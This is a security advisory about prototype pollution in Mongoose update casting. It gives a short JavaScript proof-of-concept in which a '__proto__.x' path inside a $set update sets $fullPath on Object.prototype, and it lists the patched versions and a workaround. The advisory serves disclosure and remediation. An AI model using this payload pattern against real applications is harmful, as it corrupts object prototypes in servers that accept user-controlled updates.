Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)

Impact

_What kind of vulnerability is it? Who is impacted?_

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.

Example:

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"

Patches

_Has the problem been patched? What versions should users upgrade to?_

9.7.2, 8.24.1. 7.8.10, 6.13.10

Workarounds

_Is there a way for users to fix or remediate the vulnerability without upgrading?_

Check user-controlled updates for own __proto__ properties before passing to Mongoose

References

_Are there any links users can visit to find out more?_